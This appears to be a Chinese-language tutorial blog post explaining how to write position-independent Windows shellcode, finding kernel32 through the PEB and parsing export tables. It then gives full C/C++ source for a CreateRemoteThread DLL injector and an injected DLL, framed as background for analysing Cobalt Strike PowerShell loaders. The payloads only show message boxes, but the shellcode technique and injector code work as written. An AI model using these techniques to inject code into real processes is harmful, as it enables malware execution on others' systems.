shellcode的编写
shellcode就是一串放到哪都能执行的机器码,不依赖导入表和重定向表,也就是不依赖环境,那么这个是怎么做到的呢?
我们如何在不直接使用 win32的api的情况下来调用相关api接口的呢?(一般我们直接调用api,其实都是一个间接call,从导出表里面IAT表里面拿api的函数的真实地址。但是因为这个真实地址会随着模块在每个进程中被加载的基址不同而改变,所以我们在shellcode中不能直接调用api)
如下是直接调用api的过程分析:
打个调试断点:
查看反汇编代码:如下图,push 进去我们传入的四个参数之后,直接一个间接call,传入的地址089B098h
。
089B098h
其实就是messageBoxA这个api在IAT中对应的地址:
这里我们通过将该exe丢到od中来看下:
通过简单的自动步过,三步直接就可以定位到程序里面的弹窗代码位置,或者直接根据上面我们的反汇编可以看到,地址是0089183E,去到对应位置:
然后在数据窗口中ctrl+g,输入0089B098,来到该api的IAT的位置,可以看到这里存着75B3A380,这个地址就是MessageBoxA在进程中的真实地址
我们这里从dll里面看下MessageBoxA对应的地址是否为:75B3A380,如下操作,点击E,然后找到user32.dll(因为MessageBoxA是在该模块里面的),右键View names,
如下图:MessageBoxA的地址是75B3A380,和上面的一致。
所以我们会发现直接调用api的整过程,其实就是依赖exe里面的导入表,通过里面的IAT表找到要用api的真实地址。而每个被加载进exe中的IAT表其值是不一样的,如果在shellcode中使用去固定位置找IAT表里面的值是肯定不行的,即使是相同api其IAT所指向的地址可能也是不一样,因为这个是要看对应模块也就是dll的基址分配到哪里了(当然也有特殊情况,比如在windows中模块的加载顺序总是先加载自己exe本身,然后加载ntdll.dll模块然后加载kernel32.dll模块,基本绝大多数的程序都是这样的,所以对于常见系统dll可能会加载到固定位置),那我们在将shellcode注入到任意exe对应的进程中去,都能保证其能正常运行是怎么做的呢?
所以写shellcode其实就解决一件事,怎么不依赖导入表中的IAT表来拿到api函数的真实地址(内存中的地址)
这里我们可以把问题再简化下,其实就是在不依赖带入表的时候拿到GetProAddressA和LoadLibraryA两个api的值,因为只要我们拿到了这两个api的真实地址,我们就可以通过以下方式找到任意api的真实地址:
GetProAddressA(LoadLibraryA( module_name),api_name)
这里一个很重要的点是,导入表里面的IAT表(存有相关调用函数api的真实地址),这个表是从哪来的?
在PE文件结构中,导入表中有两个比较重要的结构表,一个是IAT(导入地址表),一个是INT(导入名称表)。这个两个表是相辅相成的(像我们经常提到的导入表修复,其实就是根据其中一个表还原另一个表)。在PE文件没有被加载的时候,INT和IAT其实就是一模一样的,当被加载到内存中去的时候,IAT就发生了变化,变成指向对应函数api的真实地址了。
那这个变化过程是怎么实现的呢? 这个过程简单说就是通过INT获取api的名称或序号,通过导出表里面的dllname字段获取dll名称,然后找到对应dll的基址,然后找到对应dll的导出表,然后根据名称以及序号拿到对应api的真实地址,写到导入表里IAT表里面。
所以这里的比较关键的一步就是去获取加载到进程中的dll的基址。
而在Windows用户态编程中,我们可以通过fs这个寄存器来完成获取进程中加载的dll的基址:
接下来就是通过fs这个寄存器来得到GetProAddressA和LoadLibraryA两个api的函数地址:
在Windwos的用户态下fs寄存器的地址就是当前线程的环境块(TEB),在其0x30的偏移处(即FS:[0x30])存放的是当前进程的PEB地址:
如下是TEB的结构,0x30偏移指向PEB
拿到PEB之后,如下是PEB的结构:
如下图:这里面我们注意这个ldr结构,ldr的地址是PEB:[0x0c]:
如下微软给的对ldr的解释:是一个指向PEB_LDR_DATA的结构体的指针,PEB_LDR_DATA这个结构体里面记录了一些在进程中加载的模块的信息,这个信息的结构体是如下图:
这里我们取中间的那个链表 InMemortOrderModuleList这个链表,该链表的地址是LDR:[0x14]。
所以按内存中加载顺序来排,这里LDR:[0x14]其实就是第一个模块对应的结构体,结构体为_LDR_DATA_TABLE_ENTRY,如下图:
上图中我们要注意一个非常关键的点,这里的InMemoryOrderLinks这个链表指向的并不是基址,而是0x08的偏移位置,也就是说指针双向链表指针指向的是结构体的一个0x08偏移的位置,而不是基址。
所以当我们想获取到上面_LDR_DATA_TABLE_ENTRY结构体里面的DllBase的时候,虽然其相对基址的偏移是0x18,但是我们获取的时候是通过链表指针获取过来的,所以算的是相对InMemoryOrderLinks(这个的偏移是0x08)的偏移,所以DllBase这里我们就可以表示为:InMemoryOrderLinks[0x10];
通过这一系列操作我们拿到了内存中第一个加载模块的基址:其表达式为(((fs:[30]):[0x0c]):[0x14]):[0x10]
这里上文曾也提到,内存中加载模块的顺序其实前面的系统模块是固定的顺序,一般来说,先加载exe自己本身到内存,然后加载ntdll.dll到内存,然后加载kernel32到内存中。而我们要找的两个api,GetProAddress和LoadLibrary这两个api其实都在kernel32.dll里面,所以我们的目的其实是获取到kernel32.dll的基址然后通过dll的导出表,去遍历导出表,来找两个api方法。
kernel32是第三个加载的模块,所以我们找到第三个记载的模块的基址:,其实这里第一个模块和第三个模块就是多便利两次的问题,并我们还不需要偏移,因为这个双向链表里面头指向的是下一个链表头,所以只要取两次地址然后再取0x10偏移就好了:[[((fs:[30]):[0x0c]):[0x14]]]:[0x10]
这样我们就拿到了想要的kernel32.dll的基址。
如下是一个简单shellcode的代码实现:
#include<iostream> #include<windows.h> \_\_declspec(naked) DWORD getKernel32() { \_\_asm { mov eax, fs: \[0x30\] //fs:\[30\] 纯存的是PEB,也就是进程环境块,操作系统在加载进程的过程中会自动初始化一个PEB结构体用来初始化该进程的各种信息的结构体 mov eax, \[eax + 0x0c\] //也就是PEB 0ch处的偏移,该结构体的三个成员链表都可以获取kernel32的基址 mov eax, \[eax + 0x14\] //获取初始化顺序链表的地址,首地址是第一个模块 mov eax, \[eax\] //第二个模块 mov eax, \[eax\] //第三个模块 mov eax, \[eax + 0x10\] // 18h偏移处就是kernel32的基地址,这里我们0x10是相对InMemoryOrderLinks偏移 ret } } FARPROC \_GetProcAddress(HMODULE hModuleBase) { //DOS头 PIMAGE\_DOS\_HEADER lpDosHeader \= (PIMAGE\_DOS\_HEADER)hModuleBase; //PE头 PIMAGE\_NT\_HEADERS32 lpNtHeader \= (PIMAGE\_NT\_HEADERS)((DWORD)hModuleBase + lpDosHeader\->e\_lfanew); //判断导出表size不为0 if (!lpNtHeader\->OptionalHeader.DataDirectory\[IMAGE\_DIRECTORY\_ENTRY\_EXPORT\].Size) { return NULL; } //确认导出表RVA不为0 if (!lpNtHeader\->OptionalHeader.DataDirectory\[IMAGE\_DIRECTORY\_ENTRY\_EXPORT\].VirtualAddress) { return NULL; } //导出表的真实地址 = RVA + kernel32基址 PIMAGE\_EXPORT\_DIRECTORY lpExports \= (PIMAGE\_EXPORT\_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader\->OptionalHeader.DataDirectory\[IMAGE\_DIRECTORY\_ENTRY\_EXPORT\].VirtualAddress); //导出函数名地址表真实地址 = RVA + kernel32基址 PDWORD lpdwFunName \= (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports\->AddressOfNames); //导出函数名序号表真实地址 = RVA + kernel32基址 PWORD lpword \= (PWORD)((DWORD)hModuleBase + (DWORD)lpExports\->AddressOfNameOrdinals); //导出函数地址表真实地址 =RVA +kernel32基址 PDWORD lpdwFunAddr \= (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports\->AddressOfFunctions); DWORD dwLoop \= 0; FARPROC pRet \= NULL; //循环遍历导出函数,找到要用的api的真实函数地址 for (; dwLoop <= lpExports\->NumberOfNames \- 1; dwLoop++) { char\* pFunName \= (char\*)(lpdwFunName\[dwLoop\] + (DWORD)hModuleBase); if (pFunName\[0\] \== 'G' && pFunName\[1\] \== 'e' && pFunName\[2\] \== 't' && pFunName\[3\] \== 'P' && pFunName\[4\] \== 'r' && pFunName\[5\] \== 'o' && pFunName\[6\] \== 'c' && pFunName\[7\] \== 'A' && pFunName\[8\] \== 'd' && pFunName\[9\] \== 'd' && pFunName\[10\] \== 'r' && pFunName\[11\] \== 'e' && pFunName\[12\] \== 's' && pFunName\[13\] \== 's') { //根据函数名在序号表找到对应的序号,根据序号从而在导出函数真实地址表里面找到真实地址 pRet \= (FARPROC)(lpdwFunAddr\[lpword\[dwLoop\]\] + (DWORD)hModuleBase); break; } } return pRet; } int main() { char messagesbox\[\] \= { 'M','e','s','s','a','g','e','B','o','x','A' }; typedef FARPROC(WINAPI\* FN\_GetProcAddress)( \_In\_ HMODULE hModule, \_In\_ LPCSTR lpProcName ); //找到getprocaddress的地址 FN\_GetProcAddress fn\_GetProcAddress \= (FN\_GetProcAddress)\_GetProcAddress((HMODULE)getKernel32()); char szLoadLibraryA\[\] \= { 'L', 'o', 'a', 'd', 'L', 'i','b','r','a','r','y','A', 0 }; typedef HMODULE(WINAPI\* FN\_LoadLibraryA)( \_In\_ LPCSTR lpLibFileName ); //找到loadlibrary的地址 FN\_LoadLibraryA fn\_LoadLibraryA \= (FN\_LoadLibraryA)fn\_GetProcAddress((HMODULE)getKernel32(), szLoadLibraryA); typedef int (WINAPI\* FN\_MessageBoxA)( \_In\_opt\_ HWND hWnd, \_In\_opt\_ LPCSTR lpText, \_In\_opt\_ LPCSTR lpCaption, \_In\_ UINT uType); char szUser32\[\] \= { 'U', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 }; char szMessageBoxA\[\] \= { 'M','e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'A', 0 }; char hello\[\] \= {'h','e', 'l', 'l', 'o', 'g', 'a', '0', 'w', 'e', 'I', 0}; //找到messageBoxA地址 FN\_MessageBoxA fn\_messageBoxA \= (FN\_MessageBoxA)fn\_GetProcAddress(fn\_LoadLibraryA(szUser32), szMessageBoxA); //调用 fn\_messageBoxA(0, 0, hello, 0); return 0; }
里面有些小细节,比如我们的字符串变量不能是存储在资源段数据段里面。
这段代码就是把上面不依赖导出表来调用api的思路的实现,利用LoadLibrary和GetProcAddress来调用一个MessageBoxA的api:
运行:
接下来我们尝试把这堆机器码随便丢到一个exe里面看下能不能执行:这里图省事,就不注入到exe里面,通过hook相关去执行了;而是直接丢到od里面,修改下eip跑下:
首先我们先拿到shellcode的机器码:
将生成的exe丢到01editor里面:
代码节的文件开始位置:0x400
复制多长呢,这里我们去看下上面我们代码的反汇编最后的机器码特征:如下(或者这里我们也可以看长度来判断shellcode结束的位置)
如上图看到最后特征码是33c05e8be55dc3
,找到即可:
最后找到的shellcode如下:
复制16进制:
然后随便找个exe,使用od,打开:
在od中找块空的地方:如下图0045d900
复制进去shellcode:
将eip修改过来:
在最后调用Message的时候打个断点:
运行:F9+F8
说明我们shellcode没啥问题,不依赖环境。配置shellcodeloader可以直接使用了。
最后我们再回到上面cs ,powershell上线里面:上文分析其相关逻辑,发现就是实现了一个shellcodeloader,shellcode加载器。
所以对应的var_code解密之后应该就是一个shellcode,但是为啥上面的分析出来之后是个dll文件呢?
带着这个疑问,这里笔者又去学习了下dll注入相关的技术:
dll注入学习
经典的dll注入场景有三种:
1、通过远程创建线程,来实现dll的注入(最常见的),原理是利用CreateRemoteThreat,传入的执行方法为LoadLibrary,来加载我们的dll,然后触发dll里面的dllmain方法,在其中实现我们要执行的恶意代码,这里就比较随意了,不用使用shellcode,可以直接使用api之类的,因为这个dll是被加载到了目标进程里面,里面的导出表,重定向表啥的,都可以用,就没shellcode那么复杂了。
2、通过AppInit_DLLs来实现,将我们要加载的dll,修改注册表写到AppInit_DLLs项目里面,原理就是利用user32.dll加载的时候会附带加载我们的恶意dll,所以只要加载了user32.dll的进程都会加载我们的dll,笔者记得之前在《恶意软件、Rookit、和僵尸网络》一书中看到书中将这种方法叫全局hook,顾名思义就是影响范围广嘛。
3、通过Windows消息钩子(Message Hook)来实现注入,一般是使用SetWindwosHookEx这个api来实现。
这里对我们分析cs powershell上线有用的是第一种方式:
这里我们来测试下通过第一种方式来实现dll注入,使一个正常运行的exe执行我们的代码:
一、远程进程注入实现dll注入
这个方法里面一共有三个实体,一个是宿主进程,一个是恶意dll,一个是注射器进程:
思路:当宿主进程在正常运行的时候,运行注射器进程,从而将恶意dll注入到宿主进程,并且宿主进程执行恶意dll里面的dllmain方法。
这里我们下面做实验的时候选取的宿主程序是:reg这个exe
1、 构造恶意dll,开发自己的恶意dll
dllmain方法里面实现要注入的代码
2、构造注射器
1、找宿主程序的pid
2、使用VirtualAllocEx在宿主程序处开辟一个dll路径长度大小+1的空间
3、使用WriteProcessMemory方法,将dll路径字符写到宿主程序
4、拿到kernel32.dll里面的loadlibrary的起始位置(GetProcAddress)
5、CreateRemoteThreat(关键的三个参数,1:宿主程序·的Handle,2、调用的方法(loadlibrary),3、传入的参数(注意这里的参数要是在宿主程序里面的地址,这也是为什么我们在之前要将dll路径写到宿主程序里面的原因))
6、Loadlibrary触发dllmain里面第二个参数为DLL_PROCESS_ATTACH的场景
(dll里面的DllMain被调用的场景:1、loadlibrary的时候,也就是该dll被加载映射进进程的内存空间的时候【DLL_PROCESS_ATTACH】,2、解除映射的时候也就是FreeLibrary的时候【DLL_PROCESS_DETACH】,3、进程中创建新的线程的时候【DLL_THREAD_ATTACH】,4、相关线程结束的时候【DLL_THREAD_DETACH】)
3、恶意dll的实现
核心代码:
#include "stdafx.h" #include "InjectionDLL.h" #include <iostream> #include <thread> //这里的这个进程过程方法,要满足两个条件,返回是一个DWORD对象,出入的参数是一个LPVOID对象 DWORD WINAPI Mycode(LPVOID lParam) { MessageBoxA(0, 0, "run in maindll fun", 0); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD reson, LPVOID lpReserved ) { DWORD dwThreadId; HANDLE hHANDLE; switch (reson) { // 加载dll的时 ,loadlibrary case DLL\_PROCESS\_ATTACH: printf("DLL\_PROCESS\_ATTACH"); printf("Dll injected"); //Mycode(NULL); //do some eval thing ,the best modify is create a thread to hHANDLE \= CreateThread(NULL, 0, Mycode, NULL, 0, NULL); CloseHandle(hHANDLE); break; //当进程创建一线程时,系统查看当前映射到进程地址空间中的所有DLL文件映像 case DLL\_THREAD\_ATTACH: printf("DLL\_THREAD\_ATTACH"); break; case DLL\_THREAD\_DETACH: printf("DLL\_THREAD\_DETACH"); break; case DLL\_PROCESS\_DETACH: printf("DLL\_PROCESS\_DETACH"); } return TRUE; }
4、注射器的实现
核心代码:
#include <Windows.h> #include <iostream> #include <TlHelp32.h> using namespace std; void PrivilegeEscalation(); HANDLE GetThePidOfTargetProcess(); BOOL DoInjection(char \*InjectionDllPath, HANDLE injectionProcessHandle); int main() { //待加载dll的绝对路径,最后注入到远程进程中 char InjectionDllPath\[\] \= { "F:\\\\text\\\\InjectionDLL.dll" }; //获取到宿主进程的句柄 HANDLE injectionProcessHandle \= GetThePidOfTargetProcess(); if (injectionProcessHandle \== 0) { cout << "not get pid" << endl; } if (DoInjection(InjectionDllPath, injectionProcessHandle)) { cout << "Inject Success" << endl; } else { cout << "Inject Failed!" << endl; } system("pause"); } HANDLE GetThePidOfTargetProcess() { //获取到Reg为窗口的进程句柄 HWND injectionProcessHwnds \= FindWindowA(NULL, "Reg"); cout << "Reg handler -> " << injectionProcessHwnds << endl; DWORD dwInjectionProcessID; //通过窗口的句柄拿到pid GetWindowThreadProcessId(injectionProcessHwnds, &dwInjectionProcessID); cout << "Reg pid -> " << dwInjectionProcessID << endl; //通过openprocess传入pid,从而拿到对应进程的句柄 HANDLE injectionProcessHandle \= ::OpenProcess(PROCESS\_ALL\_ACCESS | PROCESS\_CREATE\_THREAD, 0, dwInjectionProcessID);//dwInjectionProcessID); return injectionProcessHandle; } BOOL DoInjection(char \*InjectionDllPath,HANDLE injectionProcessHandle) { // dll文件的绝对路径的长度 DWORD injBufSize \= lstrlen((LPCWSTR)InjectionDllPath) + 1; // 在远程进程中开辟空间 LPVOID AllocAddr \= VirtualAllocEx(injectionProcessHandle, NULL, injBufSize, MEM\_COMMIT, PAGE\_READWRITE); if (AllocAddr \== 0) { cout << "Memory Alloc Failed!" << endl; } else cout << "Memory Alloc Success" << endl; //写到远程进程的空间里面 WriteProcessMemory(injectionProcessHandle, AllocAddr, (void\*)InjectionDllPath, injBufSize, NULL); //报错 DWORD ER \= GetLastError(); //找的loadlibrary的地址,之后调用使用 PTHREAD\_START\_ROUTINE pfnStartAddr \= (PTHREAD\_START\_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA"); cout << "The LoadLibrary's Address is:" << pfnStartAddr << endl; HANDLE hRemoteThread; //CreateRemoteThread在远程进程中创建线程,传入的两个关键参数,远程进程的句柄和线程执行的过程以及该执行过程的参数,这个参数就是dll文件的字符串。 if ((hRemoteThread \= CreateRemoteThread(injectionProcessHandle, NULL, 0, pfnStartAddr, AllocAddr, 0, NULL)) \== NULL) { ER \= GetLastError(); cout << "Create Remote Thread Failed!" << endl; return FALSE; } else { cout << "Create Remote Thread Success!" << endl; return TRUE; } }
最后生成:如下两个文件,一个是注入exe,一个是有我们要执行代码的dll
这里我们要将dll放到上面再注射器exe里面写死的位置:
然后运行reg.exe,然后运行CommonInjection.exe:如下图,可以看到我们dll里面的dllmain方法里面调用的MessageBoxA被调用了。
此时我们打开ProcessExplorer查看Reg.exe载入的模块,发现InjectionDLL.dll已经载入进去了。
或者通过查找搜索dll: